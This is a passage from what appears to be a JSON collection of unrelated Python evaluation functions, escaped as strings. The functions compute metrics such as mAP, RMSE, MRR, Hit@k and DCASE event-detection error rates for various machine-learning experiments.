doc_length,\\n relevant,\\n \\\",\\\".join([str(d)\\n for d in dist])),\\n file=out)\\n except DistancesUndefinedException:\\n undefined_docs.append((document, relevant, query))\\n except FileNotFoundError:\\n print(\\\"Error in opening document: {}\\\".format(doc))\\n print(\\\"Documents with undefined Distances\\\")\\n for doc in undefined_docs:\\n print(\\\"{}:{}:{}\\\".format(doc[2], doc[0], doc[1]))\",\n \"def eval_multiple(ckpt_fnames, frames, labels, eval_fn, averaging=False):\\n mean_acc, mean_map = 0.0, 0.0\\n pyramid_len = 0\\n\\n for ckpt_fname in ckpt_fnames:\\n if not tf.train.checkpoint_exists(ckpt_fname):\\n print('Checkpoint does not exist', ckpt_fname)\\n continue\\n results_dict = eval_one(ckpt_fname, frames, labels, eval_fn)\\n if isinstance(results_dict, list):\\n if not isinstance(mean_acc, list):\\n mean_acc = [mean_acc]\\n mean_map = [mean_map]\\n pyramid_len = len(results_dict)\\n\\n output_fname = os.path.join(\\n FLAGS.testlogdir,\\n 'results_dict_{}.pkl'.format(os.path.basename(ckpt_fname)))\\n with open(output_fname, 'wb') as f:\\n pickle.dump(results_dict, f)\\n\\n if pyramid_len:\\n for scale in range(pyramid_len):\\n mean_acc[scale] += results_dict[scale]['frame_accuracy']\\n mean_map[scale] += results_dict[scale]['mAP']\\n else:\\n mean_acc += results_dict['frame_accuracy']\\n mean_map += results_dict['mAP']\\n\\n if averaging:\\n print('Overall acc:', np.array(mean_acc) / len(ckpt_fnames))\\n print('Overall mAP:', np.array(mean_map) / len(ckpt_fnames))\\n pass\",\n \"def apply_model(infile_pred,\\n\\t\\t\\t\\tinfile_model,\\n\\t\\t\\t\\tinfile_features,\\n\\t\\t\\t\\tthreshold_prob=0.5,\\n\\t\\t\\t\\twindowed_peak_picking=False,\\n\\t\\t\\t\\tout_dir=\\\"res/\\\",\\n\\t\\t\\t\\ttop_peaks=50,\\n\\t\\t\\t\\tmax_distance=275,\\n\\t\\t\\t\\tdistance_bins=0.005):\\n\\t\\n\\t#Read the to be used m/z bins (features)\\n\\tfeatures = [f.strip() for f in open(infile_features).readlines()]\\n\\t\\n\\t#Check the file extension and parse to get features\\n\\tif infile_pred.endswith(\\\".mgf\\\"): \\n\\t\\tfeats,feat_bins,instance_names,count_inst = read_mgf(infile_pred,\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t sum_feats=False,\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t feat_bins=features,\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t max_dist=max_distance,\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t step_size=distance_bins,\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t top_peaks=top_peaks)\\n\\telif infile_pred.endswith(\\\".msp\\\"): \\n\\t\\tfeats,feat_bins,instance_names,count_inst = read_msp(infile_pred,\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t sum_feats=False,\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t feat_bins=features,\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t max_dist=max_distance,\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t step_size=distance_bins,\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t top_peaks=top_peaks)\\n\\telse: return(False)\\n\\t\\n\\t#print(feats.shape)\\n\\t#print(feats)\\n\\t#print(len(instance_names))\\n\\t#print(instance_names)\\n\\t\\n\\t#Load the XGBoost model\\n\\trandom_search_res_xgb = pickle.load(open(infile_model,\\\"rb\\\"))\\n\\t\\n\\t#Format the preds\\n\\tpreds = pd.DataFrame(random_search_res_xgb.predict_proba(feats),index=instance_names,columns=[\\\"Prob_class_0\\\",\\\"Prob_class_1\\\"])\\n\\t#print(preds)\\n\\t\\n\\t#Plot the probabilities\\n\\tpd.Series(preds[\\\"Prob_class_1\\\"]).plot(kind=\\\"density\\\")\\n\\taxes = plt.gca()\\n\\taxes.set_xlim([0.0,1.0])\\n\\taxes.set_ylim([0.0,1.0])\\n\\tplt.savefig(out_dir+\\\"density_groups_zoomed.png\\\", bbox_inches=\\\"tight\\\")\\n\\tplt.close()\\n\\t\\n\\t#Threshold probabilities\\n\\t#print(list(preds.index[preds[\\\"Prob_class_1\\\"] > threshold_prob]))\\n\\tpreds.to_csv(out_dir+\\\"predictions.csv\\\")\",\n \"def post_processing(sample_dict: NDict, task1: bool = True, task2: bool = True) -> dict:\\n # verify sample\\n expected_keys = [f\\\"target.{key}\\\" for key in EXPECTED_TARGET_KEYS]\\n if task1:\\n expected_keys += [f\\\"task1_pred.{key}\\\" for key in EXPECTED_TASK1_PRED_KEYS]\\n if task2:\\n expected_keys += [f\\\"task2_pred.{key}\\\" for key in EXPECTED_TASK2_PRED_KEYS]\\n set(expected_keys).issubset(set(sample_dict.keypaths()))\\n\\n # convert scores to numpy array\\n # task 1\\n if task1:\\n task1_pred = []\\n for cls_name in TASK1_CLASS_NAMES:\\n task1_pred.append(sample_dict[f\\\"task1_pred.{cls_name}-score\\\"])\\n task1_pred_array = np.array(task1_pred)\\n if not np.isclose(task1_pred_array.sum(), 1.0, rtol=0.05):\\n print(\\n f\\\"Warning: expecting task 1 prediction for case {sample_dict['descriptor']} to sum up to almost 1.0, got {task1_pred_array}\\\"\\n )\\n sample_dict[\\\"task1_pred.array\\\"] = task1_pred_array\\n\\n # task 2\\n if task2:\\n task2_pred = []\\n for cls_name in TASK2_CLASS_NAMES:\\n task2_pred.append(sample_dict[f\\\"task2_pred.{cls_name}-score\\\"])\\n task2_pred_array = np.array(task2_pred)\\n if not np.isclose(task2_pred_array.sum(), 1.0, rtol=0.05):\\n print(\\n f\\\"Error: expecting task 2 prediction for case {sample_dict['descriptor']} to sum up to almost 1.0, got {task2_pred_array}\\\"\\n )\\n sample_dict[\\\"task2_pred.array\\\"] = task2_pred_array\\n\\n return sample_dict\",\n \"def evaluate(in_prediction_filename, in_answer_filename):\\n with open(in_prediction_filename) as fin:\\n predicted_tags = [l.strip() for l in fin.readlines() if len(l.strip()) != 0]\\n\\n with open(in_answer_filename) as fin:\\n ground_truth_tags = [l.strip() for l in fin.readlines() if len(l.strip()) != 0]\\n\\n assert len(predicted_tags) == len(ground_truth_tags)\\n correct = 0\\n for pred, truth in zip(predicted_tags, ground_truth_tags):\\n if pred == truth: correct += 1\\n return correct, len(predicted_tags), correct/len(predicted_tags)\",\n \"def _evaluate(self, targets: jnp.ndarray) -> jnp.ndarray:\\n pass\",\n \"def evaluation(eval_dict, faster_rcnn, test_num=Config.eval_num):\\n bboxes, labels, scores = list(), list(), list()\\n gt_bboxes, gt_labels, gt_difficult = list(), list(), list()\\n for i, [img_dir, img_info] in tqdm(enumerate(eval_dict.items())):\\n img, img_info = rescale_image(img_dir, img_info, flip=False)\\n img_tensor = create_img_tensor(img)\\n box, score, label = faster_rcnn.predict(img_tensor)\\n gt_bbox = np.array(img_info['objects'])[:, 1:5].astype(np.float32)\\n gt_label = np.array(img_info['objects'])[:, 0]\\n difficult = np.array(img_info['difficult'])\\n\\n # label from text to number\\n gt_label = text_to_num(gt_label)\\n\\n bboxes.append(box)\\n labels.append(label)\\n scores.append(score)\\n gt_bboxes.append(gt_bbox)\\n gt_labels.append(gt_label)\\n gt_difficult.append(difficult)\\n if i == test_num:\\n break\\n\\n AP, mAP = calc_map(bboxes, labels, scores, gt_bboxes, gt_labels, gt_difficult, use_07_metric=True)\\n\\n return mAP\",\n \"def evaluate(pred, ground_truth, target, count_to_level = False, Y_name = None, thresholds = None, print_metrics=True):\\n \\n if target == 'count':\\n \\n # fill NaNs with zeroes\\n pred = pred.fillna(method = \\\"ffill\\\")\\n pred = pred.fillna(method = \\\"bfill\\\")\\n ground_truth = ground_truth.fillna(method = \\\"ffill\\\")\\n ground_truth = ground_truth.fillna(method = \\\"bfill\\\")\\n \\n # Set negative predictions to zero\\n pred[pred < 0] = 0\\n ground_truth[ground_truth < 0] = 0\\n \\n # Calculate error metrics\\n rmse = mean_squared_error(ground_truth, pred, squared=False)\\n mae = mean_absolute_error(ground_truth, pred)\\n \\n # Calculate error metrics only for crowded moments (p75) \\n busy = np.percentile(ground_truth, 75)\\n ground_truth_busy = ground_truth[ground_truth > busy].dropna()\\n pred_busy = pred[ground_truth > busy].dropna()\\n rmse_busy = mean_squared_error(ground_truth_busy, pred_busy, squared=False)\\n mae_busy = mean_absolute_error(ground_truth_busy, pred_busy)\\n \\n # Store error metrics in dict\\n error_metrics = dict({'rmse': rmse, 'rmse_busy': rmse_busy, 'mae': mae, 'mae_busy': mae_busy})\\n \\n if print_metrics:\\n print(f\\\"Root mean squared error: {rmse.round(1)}\\\")\\n print(f\\\"Root mean squared error (crowded): {rmse_busy.round(1)}\\\")\\n print(f\\\"Mean absolute error: {mae.round(1)}\\\")\\n print(f\\\"Mean absolute error (crowded): {mae_busy.round(1)}\\\")\\n \\n if count_to_level:\\n pred = get_crowd_levels(pred, Y_name, thresholds)\\n ground_truth = get_crowd_levels(ground_truth, Y_name, thresholds)\\n \\n # Confusion matrix\\n conf_mat = confusion_matrix(ground_truth, pred)\\n \\n error_metrics['conf_mat'] = conf_mat\\n \\n elif target == \\\"level\\\":\\n \\n # Set dtype to category\\n pred = pred.astype('category')\\n ground_truth = ground_truth.astype('category')\\n \\n # Forward fill NaNs\\n pred = pred.fillna(method = \\\"ffill\\\")\\n ground_truth = ground_truth.fillna(method = \\\"ffill\\\")\\n \\n # Confusion matrix\\n conf_mat = confusion_matrix(ground_truth, pred)\\n \\n # Classification report (recall, precision, F1)\\n class_report = classification_report(ground_truth, pred, output_dict = True)\\n class_report = pd.DataFrame(class_report).transpose()\\n \\n error_metrics = dict({\\\"conf_mat\\\": conf_mat, \\\"class_report\\\": class_report})\\n \\n if print_metrics:\\n print(f\\\"Confusion matrix: {conf_mat}\\\")\\n print(f\\\"Classification report: {class_report}\\\")\\n \\n return error_metrics\",\n \"def do_system_evaluation(dataset, result_path, dataset_evaluation_mode='folds'):\\n\\n # Set warnings off, sklearn metrics will trigger warning for classes without\\n # predicted samples in F1-scoring. This is just to keep printing clean.\\n warnings.simplefilter(\\\"ignore\\\")\\n\\n overall_metrics_per_scene = {}\\n\\n for scene_id, scene_label in enumerate(dataset.scene_labels):\\n if scene_label not in overall_metrics_per_scene:\\n overall_metrics_per_scene[scene_label] = {}\\n\\n dcase2016_segment_based_metric = DCASE2016_EventDetection_SegmentBasedMetrics(class_list=dataset.event_labels(scene_label=scene_label))\\n dcase2016_event_based_metric = DCASE2016_EventDetection_EventBasedMetrics(class_list=dataset.event_labels(scene_label=scene_label))\\n\\n for fold in dataset.folds(mode=dataset_evaluation_mode):\\n results = []\\n result_filename = get_result_filename(fold=fold, scene_label=scene_label, path=result_path)\\n\\n if os.path.isfile(result_filename):\\n with open(result_filename, 'rt') as f:\\n for row in csv.reader(f, delimiter='\\\\t'):\\n results.append(row)\\n else:\\n raise IOError(\\\"Result file not found [%s]\\\" % result_filename)\\n\\n for file_id, item in enumerate(dataset.test(fold, scene_label=scene_label)):\\n current_file_results = []\\n for result_line in results:\\n if len(result_line) != 0 and result_line[0] == dataset.absolute_to_relative(item['file']):\\n current_file_results.append(\\n {'file': result_line[0],\\n 'event_onset': float(result_line[1]),\\n 'event_offset': float(result_line[2]),\\n 'event_label': result_line[3].rstrip()\\n }\\n )\\n meta = dataset.file_meta(dataset.absolute_to_relative(item['file']))\\n\\n dcase2016_segment_based_metric.evaluate(system_output=current_file_results, annotated_ground_truth=meta)\\n dcase2016_event_based_metric.evaluate(system_output=current_file_results, annotated_ground_truth=meta)\\n\\n overall_metrics_per_scene[scene_label]['segment_based_metrics'] = dcase2016_segment_based_metric.results()\\n overall_metrics_per_scene[scene_label]['event_based_metrics'] = dcase2016_event_based_metric.results()\\n\\n print \\\" Evaluation over %d folds\\\" % dataset.fold_count\\n print \\\" \\\"\\n print \\\" Results per scene \\\"\\n print \\\" {:18s} | {:5s} | | {:39s} \\\".format('', 'Main', 'Secondary metrics')\\n print \\\" {:18s} | {:5s} | | {:38s} | {:14s} | {:14s} | {:14s} \\\".format('', '', 'Seg/Overall','Seg/Class', 'Event/Overall','Event/Class')\\n print \\\" {:18s} | {:5s} | | {:6s} : {:5s} : {:5s} : {:5s} : {:5s} | {:6s} : {:5s} | {:6s} : {:5s} | {:6s} : {:5s} |\\\".format('Scene', 'ER', 'F1', 'ER', 'ER/S', 'ER/D', 'ER/I', 'F1', 'ER', 'F1', 'ER', 'F1', 'ER')\\n print \\\" -------------------+-------+ +--------+-------+-------+-------+-------+--------+-------+--------+-------+--------+-------+\\\"\\n averages = {\\n 'segment_based_metrics': {\\n 'overall': {\\n 'ER': [],\\n 'F': [],\\n },\\n 'class_wise_average': {\\n 'ER': [],\\n 'F': [],\\n }\\n },\\n 'event_based_metrics': {\\n 'overall': {\\n 'ER': [],\\n 'F': [],\\n },\\n 'class_wise_average': {\\n 'ER': [],\\n 'F': [],\\n }\\n },\\n }\\n for scene_id, scene_label in enumerate(dataset.scene_labels):\\n print \\\" {:18s} | {:5.2f} | | {:4.1f} % : {:5.2f} : {:5.2f} : {:5.2f} : {:5.2f} | {:4.1f} % : {:5.2f} | {:4.1f} % : {:5.2f} | {:4.1f} % : {:5.2f} |\\\".format(scene_label,\\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['ER'],\\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['F'] * 100,\\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['ER'],\\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['S'],\\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['D'],\\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['I'],\\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise_average']['F']*100,\\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise_average']['ER'],\\n overall_metrics_per_scene[scene_label]['event_based_metrics']['overall']['F']*100,\\n overall_metrics_per_scene[scene_label]['event_based_metrics']['overall']['ER'],\\n overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise_average']['F']*100,\\n overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise_average']['ER'],\\n )\\n averages['segment_based_metrics']['overall']['ER'].append(overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['ER'])\\n averages['segment_based_metrics']['overall']['F'].append(overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['F'])\\n averages['segment_based_metrics']['class_wise_average']['ER'].append(overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise_average']['ER'])\\n averages['segment_based_metrics']['class_wise_average']['F'].append(overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise_average']['F'])\\n averages['event_based_metrics']['overall']['ER'].append(overall_metrics_per_scene[scene_label]['event_based_metrics']['overall']['ER'])\\n averages['event_based_metrics']['overall']['F'].append(overall_metrics_per_scene[scene_label]['event_based_metrics']['overall']['F'])\\n averages['event_based_metrics']['class_wise_average']['ER'].append(overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise_average']['ER'])\\n averages['event_based_metrics']['class_wise_average']['F'].append(overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise_average']['F'])\\n\\n print \\\" -------------------+-------+ +--------+-------+-------+-------+-------+--------+-------+--------+-------+--------+-------+\\\"\\n print \\\" {:18s} | {:5.2f} | | {:4.1f} % : {:5.2f} : {:21s} | {:4.1f} % : {:5.2f} | {:4.1f} % : {:5.2f} | {:4.1f} % : {:5.2f} |\\\".format('Average',\\n numpy.mean(averages['segment_based_metrics']['overall']['ER']),\\n numpy.mean(averages['segment_based_metrics']['overall']['F'])*100,\\n numpy.mean(averages['segment_based_metrics']['overall']['ER']),\\n ' ',\\n numpy.mean(averages['segment_based_metrics']['class_wise_average']['F'])*100,\\n numpy.mean(averages['segment_based_metrics']['class_wise_average']['ER']),\\n numpy.mean(averages['event_based_metrics']['overall']['F'])*100,\\n numpy.mean(averages['event_based_metrics']['overall']['ER']),\\n numpy.mean(averages['event_based_metrics']['class_wise_average']['F'])*100,\\n numpy.mean(averages['event_based_metrics']['class_wise_average']['ER']),\\n )\\n\\n print \\\" \\\"\\n # Restore warnings to default settings\\n warnings.simplefilter(\\\"default\\\")\\n print \\\" Results per events \\\"\\n\\n for scene_id, scene_label in enumerate(dataset.scene_labels):\\n print \\\" \\\"\\n print \\\" \\\"+scene_label.upper()\\n print \\\" {:20s} | {:30s} | | {:15s} \\\".format('', 'Segment-based', 'Event-based')\\n print \\\" {:20s} | {:5s} : {:5s} : {:6s} : {:5s} | | {:5s} : {:5s} : {:6s} : {:5s} |\\\".format('Event', 'Nref', 'Nsys', 'F1', 'ER', 'Nref', 'Nsys', 'F1', 'ER')\\n print \\\" ---------------------+-------+-------+--------+-------+ +-------+-------+--------+-------+\\\"\\n seg_Nref = 0\\n seg_Nsys = 0\\n\\n event_Nref = 0\\n event_Nsys = 0\\n for event_label in sorted(overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise']):\\n print \\\" {:20s} | {:5d} : {:5d} : {:4.1f} % : {:5.2f} | | {:5d} : {:5d} : {:4.1f} % : {:5.2f} |\\\".format(event_label,\\n int(overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise'][event_label]['Nref']),\\n int(overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise'][event_label]['Nsys']),\\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise'][event_label]['F']*100,\\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise'][event_label]['ER'],\\n int(overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise'][event_label]['Nref']),\\n int(overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise'][event_label]['Nsys']),\\n overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise'][event_label]['F']*100,\\n overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise'][event_label]['ER'])\\n seg_Nref += int(overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise'][event_label]['Nref'])\\n seg_Nsys += int(overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise'][event_label]['Nsys'])\\n\\n event_Nref += int(overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise'][event_label]['Nref'])\\n event_Nsys += int(overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise'][event_label]['Nsys'])\\n print \\\" ---------------------+-------+-------+--------+-------+ +-------+-------+--------+-------+\\\"\\n print \\\" {:20s} | {:5d} : {:5d} : {:14s} | | {:5d} : {:5d} : {:14s} |\\\".format('Sum',\\n seg_Nref,\\n seg_Nsys,\\n '',\\n event_Nref,\\n event_Nsys,\\n '')\\n print \\\" {:20s} | {:5s} {:5s} : {:4.1f} % : {:5.2f} | | {:5s} {:5s} : {:4.1f} % : {:5.2f} |\\\".format('Average',\\n '', '',\\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise_average']['F']*100,\\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise_average']['ER'],\\n '', '',\\n overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise_average']['F']*100,\\n overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise_average']['ER'])\\n print \\\" \\\"\",\n \"def read_participant_run(file, task=2, subset=None):\\n annotation_dict = defaultdict(lambda: defaultdict(list))\\n\\n with open(file, 'r') as f:\\n for row in f:\\n row_unrolled = row[:-1].split(';')\\n image_id = row_unrolled[0]\\n if subset and image_id not in subset:\\n continue\\n predictions = row_unrolled[1:]\\n\\n for prediction in predictions:\\n if prediction[-1] == ' ':\\n prediction = prediction[:-1]\\n\\n substrate, polygons = prediction.split(' ')\\n for polygon in polygons.split(','):\\n confidence, values = polygon.split(':')\\n if task == 1:\\n width_height, x_min, y_min = values.split('+')\\n if not width_height or not x_min or not y_min:\\n print(\\\"Couldnt find\\\")\\n print(f\\\"{image_id}, {file}\\\")\\n continue\\n width, height = width_height.split('x')\\n width, height = int(width), int(height)\\n x_min, y_min = int(x_min), int(y_min)\\n x_max = x_min + width\\n y_max = y_min + height\\n\\n processed_polygon = [(x_min, y_min), (x_min, y_max),\\n (x_max, y_max), (x_max, y_min)]\\n elif task == 2:\\n values_list = values.split('+')\\n processed_polygon = [\\n (int(x), int(y))\\n for x, y in zip(values_list[::2], values_list[1::2])\\n ]\\n\\n annotation_dict[image_id][substrate] += [processed_polygon]\\n\\n return annotation_dict\",\n \"def painting_matching_ml(imgs, db_imgs, method_list, text_masks, author_text, gt_text, metrics, weights, splits=30, max_rank=10):\\n descriptor_extractors = [get_descriptor_extractor(method_name) for method_name in method_list]\\n tmp_img_format = []\\n tmp_mask_format = []\\n tmp_text_format = []\\n for i in range(len(imgs)):\\n for j in range(len(imgs[i])):\\n tmp_img_format.append(imgs[i][j])\\n tmp_mask_format.append(text_masks[i][j])\\n tmp_text_format.append(author_text[i][j])\\n\\n #db_imgs = [img[0] for img in db_imgs]\\n db_img_splits = [i*len(db_imgs)//splits for i in range(splits-1)]\\n \\n scores = []\\n query_descriptors = extract_descriptors(tmp_img_format, descriptor_extractors, method_list, tmp_text_format, tmp_mask_format) \\n #np.array([extract_descriptors(img, matching_methods, mask) for img, mask in zip(tmp_img_format, tmp_mask_format)])\\n print(\\\"Starting db extraction + matching\\\")\\n for split in tqdm(range(splits-2)):\\n db_descriptors = extract_descriptors(db_imgs[db_img_splits[split]:db_img_splits[split+1]], descriptor_extractors, method_list, gt_text[db_img_splits[split]:db_img_splits[split+1]], None) #np.array([mrhm(db_img) for db_img in db_imgs[db_img_splits[split]:db_img_splits[split+1]]])\\n scores.append(compare_descriptors(query_descriptors, db_descriptors, metrics, method_list, weights))\\n # compare_descriptors(query_descriptors, db_descriptors, descriptor_comp_methods, descriptor_names, weights)\\n db_descriptors = extract_descriptors(db_imgs[db_img_splits[-1]:], descriptor_extractors, method_list, gt_text[db_img_splits[-1]:], None)\\n scores.append(compare_descriptors(query_descriptors, db_descriptors, metrics, method_list, weights))\\n \\n # concatenate all the results\\n scores = np.concatenate(scores, 1)\\n \\n top_k_matches = np.argpartition(scores, list(range(max_rank)))[:, :max_rank]\\n return top_k_matches\",\n \"def evaluate_samples(self, samples, eval_key=None, mask_targets=None):\\n pass\",\n \"def compute_metric_scores(positive_data, negative_data, instance_prediction, query_roles, role_to_values,\\n ignore_non_object=True, save_dir=None, verbose=True):\\n # check predictions\\n # NOTE: negative_data not included below bc I am only doing a\\n # single role at a time; however, negative_data contains negatives\\n # for all roles. Therefore, the check would always fail. Removing\\n # negative_data should not affect performance\\n #for instance in positive_data:# + negative_data:\\n # assert tuple(instance) in instance_prediction\\n\\n # save results and qualitative examples to file\\n if save_dir:\\n if not os.path.exists(save_dir):\\n os.makedirs(save_dir)\\n\\n results = {}\\n for query_role in query_roles:\\n\\n # storing some stats\\n # storing the rank of each positive instance\\n query_ranks = []\\n # number of negative instances generated for each positive instance\\n num_negative_instances = []\\n # number of roles that are the query role\\n num_query_role = []\\n # number of testing instance\\n num_positive_instances = 0\\n\\n # storing each instance as a tuple of (groundtruth label, score, instance)\\n test_instance_to_perturbed_instances = {}\\n candidate_values = role_to_values[query_role]\\n for instance in positive_data:\\n # important: there may be multiple roles that are the query role in the instance. For example, an object\\n # can have more than one colors\\n # position(s) of the query role in this positive instance\\n query_role_pos = []\\n object_class = None\\n for i, rv_pair in enumerate(instance):\\n if rv_pair[0] == query_role:\\n query_role_pos.append(i)\\n if rv_pair[0] == \\\"class\\\":\\n object_class = rv_pair[1]\\n\\n if len(query_role_pos) == 0:\\n continue\\n\\n if ignore_non_object:\\n if object_class is None or object_class not in role_to_values[\\\"class\\\"]:\\n continue\\n\\n # generate negative instances by perturbing the positive instance\\n perturbed_instances = set()\\n for role_i in query_role_pos:\\n for perturbed_value in candidate_values:\\n perturbed_instance = copy.deepcopy(instance)\\n perturbed_instance[role_i] = (query_role, perturbed_value)\\n perturbed_instance = sorted(perturbed_instance)\\n # Important: the following is used to filter out instances that are positive instances in\\n # test, train, or valid set\\n if perturbed_instance in negative_data:\\n perturbed_instance_tuple = tuple(sorted(perturbed_instance))\\n perturbed_instances.add(perturbed_instance_tuple)\\n if len(perturbed_instances) == 0:\\n continue\\n\\n instance_tuple = tuple(instance)\\n instance_score = instance_prediction[instance_tuple]\\n instance_scores = [instance_score]\\n test_instance_to_perturbed_instances[instance_tuple] = [(1, instance_score, list(instance_tuple))]\\n for perturbed_instance_tuple in perturbed_instances:\\n instance_score = instance_prediction[perturbed_instance_tuple]\\n instance_scores.append(instance_score)\\n test_instance_to_perturbed_instances[instance_tuple].append((0, instance_score, list(perturbed_instance_tuple)))\\n\\n if None in instance_scores:\\n print(\\\"Warning: None appears in predicted scores\\\")\\n print(\\\"Test positive instance: {}\\\".format(instance))\\n print(\\\"Query role: {}\\\".format(query_role))\\n for perturbed_instance_tuple in perturbed_instances:\\n print(\\\"Perturbed negative instance: {}\\\".format(perturbed_instance_tuple,\\n instance_prediction[perturbed_instance_tuple]))\\n\\n # the numpy method below does not properly deal with ties\\n # instance_rank = np.where(np.argsort(instance_scores)[::-1] == 0)[0][0] + 1\\n\\n # break ties\\n # python float precision: 16 decimal place\\n instance_scores = instance_scores + np.random.rand(len(instance_scores)) * 1e-10\\n\\n instance_rank = len(instance_scores) + 1 - rankdata(instance_scores, method='max')[0]\\n query_ranks.append(instance_rank)\\n num_positive_instances += 1\\n num_negative_instances.append(len(perturbed_instances))\\n num_query_role.append(len(query_role_pos))\\n\\n query_ranks = np.array(query_ranks)\\n results[query_role] = {\\\"MR\\\": np.mean(query_ranks),\\n \\\"MRR\\\": np.mean(1.0 / query_ranks),\\n \\\"Hit@1\\\": sum(query_ranks <= 1) * 1.0 / len(query_ranks),\\n \\\"Hit@2\\\": sum(query_ranks <= 2) * 1.0 / len(query_ranks),\\n \\\"Hit@3\\\": sum(query_ranks <= 3) * 1.0 / len(query_ranks),\\n \\\"Hit@5\\\": sum(query_ranks <= 5) * 1.0 / len(query_ranks),\\n \\\"Hit@10\\\": sum(query_ranks <= 10) * 1.0 / len(query_ranks),\\n \\\"# Tested Positive Instances\\\": num_positive_instances,\\n \\\"# Average Tested Negative Instances Per Positive Instance\\\": np.mean(num_negative_instances),\\n \\\"# Type-Constrained Candidate Value\\\": len(role_to_values[query_role]),\\n \\\"# Average Roles That Are Query Role In Each Positive Instance\\\": np.mean(num_query_role)}\\n\\n if verbose:\\n print(\\\"For query role {}\\\".format(query_role))\\n print(\\\"Mean Rank: {}\\\".format(results[query_role][\\\"MR\\\"]))\\n print(\\\"Mean Reciprocal Rank: {}\\\".format(results[query_role][\\\"MRR\\\"]))\\n print(\\\"Hit@1: {}\\\".format(results[query_role][\\\"Hit@1\\\"]))\\n print(\\\"Hit@2: {}\\\".format(results[query_role][\\\"Hit@2\\\"]))\\n print(\\\"Hit@3: {}\\\".format(results[query_role][\\\"Hit@3\\\"]))\\n print(\\\"Hit@5: {}\\\".format(results[query_role][\\\"Hit@5\\\"]))\\n print(\\\"Hit@10: {}\\\".format(results[query_role][\\\"Hit@10\\\"]))\\n print(\\n \\\"{} tested positive instances, {} perturbed negative instance for each positive instance on average\\\".format(\\n results[query_role][\\\"# Tested Positive Instances\\\"],\\n results[query_role][\\\"# Average Tested Negative Instances Per Positive Instance\\\"]))\\n print(\\n \\\"{} type-constrained candidate value, {} roles that are the query role for each positive instance on average\\\".format(\\n results[query_role][\\\"# Type-Constrained Candidate Value\\\"],\\n results[query_role][\\\"# Average Roles That Are Query Role In Each Positive Instance\\\"]))\\n\\n # save results\\n if save_dir:\\n examples_for_role_file = os.path.join(save_dir, \\\"{}:qualitative_examples.txt\\\".format(query_role))\\n with open(examples_for_role_file, \\\"w\\\") as fh:\\n for key in test_instance_to_perturbed_instances:\\n all_test_instances = test_instance_to_perturbed_instances[key]\\n for label, score, instance in all_test_instances:\\n fh.write(\\\"{}\\\\t{}\\\\t{}\\\".format(label, score, instance) + \\\"\\\\n\\\")\\n fh.write(\\\"\\\\n\\\")\\n\\n df = pd.DataFrame(results)\\n\\n # compute average\\n if len(query_roles) != 1:\\n df['average'] = df.mean(axis=1)\\n results = df.to_dict()\\n\\n if save_dir:\\n if len(query_roles) == 1:\\n results_file = os.path.join(save_dir, \\\"{}:results.csv\\\".format(query_role))\\n else:\\n results_file = os.path.join(save_dir, \\\"results.csv\\\")\\n df.to_csv(results_file)\\n\\n return results\",\n \"def func(args):\\n\\n classifier_stat_list = []\\n cf_frames = []\\n confidences_list = []\\n intents_in_results = pd.Series(dtype='float')\\n\\n classifier_num = len(args.classifiers_results)\\n\\n # Prepare labels for each curve\\n labels = [os.path.splitext(os.path.basename(file_path))[0]\\n for file_path in args.classifiers_results]\\n\\n # Only do cutomization on labels if numbers match\\n if args.classifier_names and \\\\\\n (len(args.classifier_names) == classifier_num):\\n labels = args.classifier_names\\n\\n # Initialization\\n for i in range(classifier_num):\\n file_path = args.classifiers_results[i]\\n frame = pd.read_csv(file_path, encoding=UTF_8, quoting=csv.QUOTE_ALL)\\n if INTENT_JUDGE_COLUMN not in frame.columns: # Column validation\\n raise ValueError(\\\"'{}' column not in {}\\\".format(\\n INTENT_JUDGE_COLUMN, file_path))\\n # Read the cf files into list\\n cf_frames.append(frame)\\n # Collect all intents from the classification results\\n intents_in_results = pd.concat([intents_in_results,\\n frame[PREDICTED_INTENT_COLUMN]])\\n 